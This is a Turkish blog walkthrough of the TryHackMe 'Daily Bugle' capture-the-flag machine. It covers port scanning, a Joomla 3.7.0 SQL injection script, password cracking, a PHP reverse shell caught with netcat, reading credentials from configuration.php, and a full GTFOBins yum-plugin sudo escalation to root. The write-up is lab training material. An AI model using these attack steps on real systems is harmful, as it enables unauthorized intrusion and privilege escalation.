Temelden alacağımı belirtmiştim fakat, makine çözümlerine de olabildiğince yer vermek istedim, ara ara paylaşmak istiyorum sizlerle.
O zaman başlayalım, makinemizi “tryhackme” üzerinden deploy ettikten sonra benim ilk işim portları taramak oluyor. Nmap aracım ile taramayı şu şekilde başlatıyorum.
https://tryhackme.com/room/dailybugle
1 |
nmap -sCV ipAdresi |
Ve “nmap” çıktım şu şekilde;
1 2 3 4 5 6 7 8 9 10 11 |
22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA) | 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA) |_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40) | http-robots.txt: 15 disallowed entries | /joomla/administrator/ /administrator/ /bin/ /cache/ | /cli/ /components/ /includes/ /installation/ /language/ |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ 3306/tcp open mysql MariaDB (unauthorized) |
JoomScan Aracı
Göründüğü üzere 80 portu açık. Zaten ilk sorumuz “Joomla version” sorusu, yani bizden Joomla versionu istiyor. Bunun için ise “joomscan” aracımı kullanıyorum, version dışında tabi ki bana farklı bilgileri de getiriyor.
Şu şekilde “joomscan” aracını kullanıyorum;
1 |
joomscan -u ipAdresi |
Çıktısı ise şöyle;
SQLi Exploit
Farklı dizin bilgilerini de almış olduk böylelikle, en önemlisi hatta içlerinde tek önemli olan “adminstrator” dizini. Yani sitenin admin paneli.
Daha sonra “Joomla 3.7.0” versionunda SQLi zaafiyeti olduğunu öğreniyorum. Ve linkini vereceğim scriptle karşılaşıyorum. Tek yapmam gereken scripte IP adresi vermek, gerekli işlemleri kendisi hallediyor.
https://www37.zippyshare.com/v/ZUuV85y2/file.html
Ve aracı şu şekilde çalıştırıyorum:
1 |
python joom.py ipAdresi |
Shell Upload
Resimde de göründüğü üzere bana kullanıcı adını “jonah” olarak ve parolayı şifrelenmiş olarak veriyor. Aldığım şifrelenmiş parolayı “john” aracı ile kırıyorum. Admin paneline giriş yaptıktan sonra shell alıyorum.
https://github.com/pentestmonkey/php-reverse-shell
NetCat Kullanımı
Shellimi upload ettikten sonra “netcat” ile shell’de belirttiğim “1234” portunu şöyle dinlemeye alıyorum:
1 |
nc -nlvp 1234 |
Evet shelli almış oldum. Karşılaştığım çoğu makinede “user.txt” dosyası “/home/user/” dizini içerisinde bulunuyordu. Bu makinede de deniyorum ancak, “jjameson” adlı kullanıcıya ait olduğunu görüyorum.
Dizinleri biraz kurcaladıktan sonra “/var/www/html” dizini içerisinde “configuration.php” dosyası olduğunu görüyorum. Aşağıda ki komut ile okuyorum
1 |
cat conf* |
Linux sistemlerde * “yıldız” karakteri şekildeki gibi bir kullanımda başı “conf” olan bütün dosyaları okumamızı sağlıyor. Farklı kullanım şekilleri var ancak onlara Linux kategorinde açacağım konularda değinmek istiyorum. Şimdi konumuzdan sapmayalım.
Okuduğum dosya şu şekilde:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
public $offline = '0'; public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'The Daily Bugle'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'root'; public $password = '*******************'; public $db = 'joomla'; public $dbprefix = 'fb9j5_'; public $live_site = ''; public $secret = 'UAMBRWzHO3oFPmVC'; public $gzip = '0'; public $error_reporting = 'default'; public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}'; public $ftp_host = '127.0.0.1'; public $ftp_port = '21'; public $ftp_user = ''; public $ftp_pass = ''; public $ftp_root = ''; public $ftp_enable = '0'; public $offset = 'UTC'; public $mailonline = '1'; public $mailer = 'mail'; public $mailfrom = 'jonah@tryhackme.com'; public $fromname = 'The Daily Bugle'; public $sendmail = '/usr/sbin/sendmail'; public $smtpauth = '0'; public $smtpuser = ''; public $smtppass = ''; public $smtphost = 'localhost'; public $smtpsecure = 'none'; public $smtpport = '25'; public $caching = '0'; public $cache_handler = 'file'; public $cachetime = '15'; public $cache_platformprefix = '0'; public $MetaDesc = 'New York City tabloid newspaper'; public $MetaKeys = ''; public $MetaTitle = '1'; public $MetaAuthor = '1'; public $MetaVersion = '0'; public $robots = ''; public $sef = '1'; public $sef_rewrite = '0'; public $sef_suffix = '0'; public $unicodeslugs = '0'; public $feed_limit = '10'; public $feed_email = 'none'; public $log_path = '/var/www/html/administrator/logs'; public $tmp_path = '/var/www/html/tmp'; public $lifetime = '15'; public $session_handler = 'database'; public $shared_session = '0'; |
Bash Alma
Göründüğü üzere dosya içinde parola bulunmakta. Hemen makinenin veritabanına giriş yapmaya çalışıyorum, ancak sonuç elde edemiyorum. Aklıma parolayı “jjameson” kullanıcısı için denemek geliyor. Ancak kullanıcı değişebilmek için öncelikle “sh” a ihtiyaç duyuyorum ve şöyle “sh” alıyorum:
1 |
python -c 'import pty; pty.spawn("/bin/bash")' |
Kullanıcı Değiştirme
“sh” aldıktan sonra “su jjameson” komutu ile kullanıcı değiştirmek istiyorum ve “configuration.php” dosyası içinde bulduğum parolayı deniyorum. Ve artık “jjameson” kullanıcısındayım.
Artık “/home/jjameson” dizini içerisindeki “user.txt” dosyasını okuyabilirim. Flag dosyanın içinde bulunuyor.
Artık sıra root kullanıcısını geçmekte. Hint almadan yapamıyorum 🙂 Hint şu şekilde:
1 |
https://gtfobins.github.io/ |
Site adresine gidiyorum ve makinenin etiketlerinde “yum” komutunu görüyorum. Ve “nmap” taramasında da göründüğü üzere “CentOS” yüklü bir makine.
“Yum” ile Root Olma
İpucunun bana verdiği siteye gidiyorum ve “yum” anahtar sözcüğünü aratıyorum. Ve nasıl “sudo” yani “Super User” kullanıcısı olacağımı görüyorum.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
TF=$(mktemp -d) cat >$TF/x<<EOF [main] plugins=1 pluginpath=$TF pluginconfpath=$TF EOF cat >$TF/y.conf<<EOF [main] enabled=1 EOF cat >$TF/y.py<<EOF import os import yum from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE requires_api_version='2.1' def init_hook(conduit): os.execl('/bin/sh','/bin/sh') EOF sudo yum -c $TF/x --enableplugin=y |
Burada kısaca dosya oluşturup, root yetkisi alıyoruz.
Ancak satır satır yazmamız gerekiyor. Satır satır yazdıktan sonra “root” olup son flagı okuyorum.
Emeğine sağlık güzel çalışma
Teşekkür ederim.